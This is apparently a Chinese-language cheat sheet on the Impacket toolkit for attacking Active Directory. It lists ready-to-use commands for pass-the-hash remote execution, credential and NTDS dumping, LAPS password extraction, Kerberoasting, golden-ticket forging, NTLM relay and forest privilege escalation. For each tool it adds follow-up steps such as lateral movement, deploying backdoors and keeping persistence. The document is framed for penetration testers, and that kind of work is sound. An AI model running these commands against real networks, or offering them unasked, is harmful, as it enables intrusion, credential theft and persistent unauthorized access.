Impacket

1. 關於 Impacket

  • 用途:Impacket 是一組用於處理網路協定的 Python 集合,專注於提供封包的低階程式化操作,以及部分協定的完整實現(例如 SMB1-3 和 MSRPC)。
  • 功能:可從零構建封包、解析原始數據,並透過物件導向的 API 操作協定層級結構。
  • 開發與維護:原由 SecureAuth 維護,現由 Fortra 的 Core Security 接管,持續推動開源生態系統發展。
  • 下載位置GitHub

2. 支援的協

  • 網路層:Ethernet、IPv4、IPv6、IP、TCP、UDP、ICMP 等。
  • 身份驗證:Plain、NTLM 和 Kerberos(支援密碼、哈希、票證、金鑰)。
  • 高階協定:
    • SMB1、SMB2、SMB3。
    • MSRPC:支援多種介面(如 LSAD、LSAT、SAMR、DCOM 等)。
    • LDAP 和 MSSQL 部分協定。

3. 常見工具與功能範例

遠端執行

  • psexec.py:模擬 PSEXEC 功能,使用 RemComSvc。
  • smbexec.py:類似 PSEXEC,但無需 RemComSvc,可建立本地 SMB 伺服器接收輸出。
  • atexec.py:利用任務排程器執行指令並回傳結果。
  • wmiexec.py:基於 WMI 的半互動式 Shell,無需安裝任何代理程式。
  • dcomexec.py:基於 DCOM 的半互動式 Shell。

Kerberos 工具

  • GetTGT.py:請求 TGT 並保存為 ccache 格式。
  • ticketer.py:創建金票/銀票,允許自訂部分參數(如群組、有效期限等)。
  • GetUserSPNs.py:提取服務主體名稱 (SPNs) 並輸出 JtR/HashCat 格式。

敏感資訊提取

  • secretsdump.py:提取 SAM 和 LSA Secrets,並支援 NTDS.dit 文件解析。
  • mimikatz.py:控制遠端 mimikatz RPC 伺服器。

中間人攻擊

  • ntlmrelayx.py:執行 NTLM 中繼攻擊,支援多種協定(如 SMB、HTTP、LDAP 等)。
  • smbserver.py:快速建立 SMB 伺服器以共享文件或建立帳號。

其他工具

  • reg.py:遠端註冊表操作工具。
  • rpcdump.py:列出遠端 RPC 端點並對應已知介面。
  • netview.py:取得目標系統的會話和資源資訊。
  • mssqlclient.py:支援 SQL 和 Windows 認證的 MSSQL 客戶端。

4. 已知漏洞範例

  • goldenPac.py:針對 MS14-068 的漏洞利用。
  • sambaPipe.py:利用 CVE-2017-7494 上傳並執行共享庫。
  • smbrelayx.py:針對 CVE-2015-0005 的 SMB 中繼攻擊。

5. 文件格式工具

  • esentutl.py:解析 ESE 資料庫(如 NTDS.dit)。
  • ntfs-read.py:提取 NTFS 中的隱藏或鎖定內容。

6. 技術需求與版本

  • Python 版本:支援 3.6 至 3.10。
  • 文件與範例:附有基本的 Python Doc 註解,範例程式提供學習素材。

指令範例

以下是一些 Impacket 工具的示範指令和簡單說明,涵蓋不同的常見場景:


1. 遠端執行

psexec.py

模擬 Windows 的 PSEXEC 功能,利用 SMB 執行命令。

python3 psexec.py [email protected] -hashes :aad3b435b51404eeaad3b435b51404ee "whoami"
  • 參數說明
    • [email protected]:目標主機的使用者名稱和 IP 地址。
    • -hashes:提供 NTLM 哈希。
    • "whoami":在目標主機上執行的命令。

smbexec.py

類似 PSEXEC,但不需要目標有可寫共享。

python3 smbexec.py [email protected] -hashes :aad3b435b51404eeaad3b435b51404ee
  • 進入互動式 Shell,直接在目標主機執行命令。

wmiexec.py

使用 WMI 無需安裝任何服務,適合隱匿需求。

python3 wmiexec.py [email protected] -hashes :aad3b435b51404eeaad3b435b51404ee "ipconfig /all"
  • 適合目標未啟用 SMB 寫入共享的情況。

2. 資訊收集與提取

secretsdump.py

提取目標主機上的密碼哈希和其他敏感資訊。

python3 secretsdump.py [email protected] -hashes :aad3b435b51404eeaad3b435b51404ee
  • 會嘗試提取 SAMLSA 的內容,包括 NTLM 哈希和明文憑證(若可用)。

GetUserSPNs.py

獲取域中的服務主體名稱 (SPNs),通常用於 Kerberos 攻擊。

python3 GetUserSPNs.py domain.local/administrator:password -dc-ip 192.168.1.10
  • 結果會生成可供工具(如 John the RipperHashcat)破解的 Kerberos 哈希。

reg.py

遠端操作 Windows 註冊表。

python3 reg.py [email protected] -hashes :aad3b435b51404eeaad3b435b51404ee query HKLM\Software
  • 列出指定註冊表項下的所有子項和值。

3. 中間人攻擊

ntlmrelayx.py

進行 NTLM 中繼攻擊,將憑證中繼至其他服務。

python3 ntlmrelayx.py -t smb://192.168.1.10
  • 目標伺服器(192.168.1.10)將接收中繼的 NTLM 驗證請求。
  • 配合其他工具(如 Responder),可攔截並中繼憑證。

4. LDAP 和 Kerberos

ticketer.py

生成 Kerberos 金票(Golden Ticket)。

python3 ticketer.py -nthash aad3b435b51404eeaad3b435b51404ee -domain-sid S-1-5-21-xxxxxxxxxx -domain domain.local administrator
  • 使用 NTLM 哈希 (-nthash) 和域 SID (-domain-sid) 生成票證。

GetNPUsers.py

列出具有「無需 Kerberos 預驗證」屬性的使用者,並嘗試提取其 TGT。

python3 GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 192.168.1.10
  • 結果會生成用於破解的哈希。

raiseChild.py

利用子域提升至森林管理權限。

python3 raiseChild.py -hashes :aad3b435b51404eeaad3b435b51404ee child.domain.local
  • 子域帳戶權限升級至森林管理員。

5. SMB 工具

smbclient.py

用於與遠端 SMB 共享互動。

python3 smbclient.py 192.168.1.10 -hashes :aad3b435b51404eeaad3b435b51404ee
  • 提供類似 Windows net use 的功能,可列出共享並下載/上傳文件。

常見工具使用


1. impacket-GetLAPSPassword

這是什麼

該工具用於從啟用了 Microsoft LAPS (Local Administrator Password Solution) 的環境中提取本地管理員密碼。

如何使用

執行以下命令來提取目標主機的本地管理員密碼:

python3 impacket-GetLAPSPassword.py domain.local/username:password -dc-ip 192.168.1.10

參數說明

  • domain.local/username:password:域的使用者名稱和密碼。
  • -dc-ip:域控制器的 IP 地址。

什麼時候使用

  • 當目標域環境啟用了 LAPS 並且你有查詢權限時使用。
  • 適用於滲透測試過程中尋找本地管理員密碼以進一步橫向移動。

用了之後做什麼

  • 使用提取的本地管理員密碼登錄目標主機。
  • 繼續執行橫向移動或提取其他敏感數據。

2. impacket-psexec

這是什麼

該工具模擬 Windows 的 PSEXEC 功能,通過 SMB 執行遠程命令。

如何使用

執行以下命令來在目標主機上執行命令:

python3 impacket-psexec.py [email protected] -hashes :aad3b435b51404eeaad3b435b51404ee "whoami"

參數說明

  • [email protected]:目標主機的使用者名稱和 IP。
  • -hashes:提供 NTLM 哈希。
  • "whoami":執行的遠端命令。

什麼時候使用

  • 當需要遠程執行命令時,例如檢查權限、提取數據或建立持久化。

用了之後做什麼

  • 收集目標機器資訊(如用戶權限、網絡配置等)。
  • 部署其他工具或後門以維持訪問。

3. impacket-findDelegation

這是什麼

該工具用於查找 Active Directory 環境中的委派關係(包括無限制、限制和基於資源的委派)。

如何使用

執行以下命令查詢域中的委派資訊:

python3 impacket-findDelegation.py domain.local/username:password -dc-ip 192.168.1.10

什麼時候使用

  • 當進行 Active Directory 滲透測試,尋找委派弱點來提升權限時。

用了之後做什麼

  • 分析委派關係以找出高權限使用者(如域管理員)可能的攻擊路徑。
  • 利用基於資源的委派(RBCD)來提升權限。

4. impacket-getST

這是什麼

該工具用於請求 Kerberos 的服務票證 (Service Ticket, ST),可用於協議中轉等攻擊。

如何使用

執行以下命令請求服務票證:

python3 impacket-getST.py -dc-ip 192.168.1.10 domain.local/username:password -spn cifs/target.domain.local

參數說明

  • -spn:目標服務主體名稱 (SPN)。

什麼時候使用

  • 當需要提取服務票證進行協議中轉或其他 Kerberos 攻擊(例如 Pass-the-Ticket 攻擊)。

用了之後做什麼

  • 使用服務票證來訪問目標服務。
  • 配合其他工具進行身份偽裝或橫向移動。

5. impacket-secretsdump

這是什麼

該工具提取目標主機的敏感資訊,例如哈希值、明文憑證、NTDS.dit 等。

如何使用

執行以下命令提取目標機器的秘密:

python3 impacket-secretsdump.py [email protected] -hashes :aad3b435b51404eeaad3b435b51404ee

什麼時候使用

  • 當你需要獲取域管理員的憑證或其他高權限帳戶的哈希值。

用了之後做什麼

  • 使用提取的哈希進行 Pass-the-Hash 或其他後續操作。
  • 嘗試破解哈希以獲得明文密碼。

總結:使用場景與後續行動

工具名稱使用場景使用後的行動
GetLAPSPassword提取本地管理員密碼 (LAPS)。使用密碼登錄主機,繼續橫向移動或提取數據。
psexec遠端執行命令(需要 SMB 寫入權限)。收集資訊,部署工具,維持後門。
findDelegation分析 AD 環境中委派關係,尋找高權限用戶的攻擊路徑。利用委派弱點進行權限提升或橫向移動。
getST請求 Kerberos 服務票證,用於身份偽裝或協議中轉。使用服務票證進行橫向移動或攻擊目標服務。
secretsdump提取機器上的哈希和其他秘密(例如 NTDS.dit)。利用哈希進行 Pass-the-Hash 或破解獲得密碼。

透過這些工具,滲透測試人員可以快速進行資訊收集、權限提升及橫向移動,視具體環境制定後續行動計畫。

飛飛
飛飛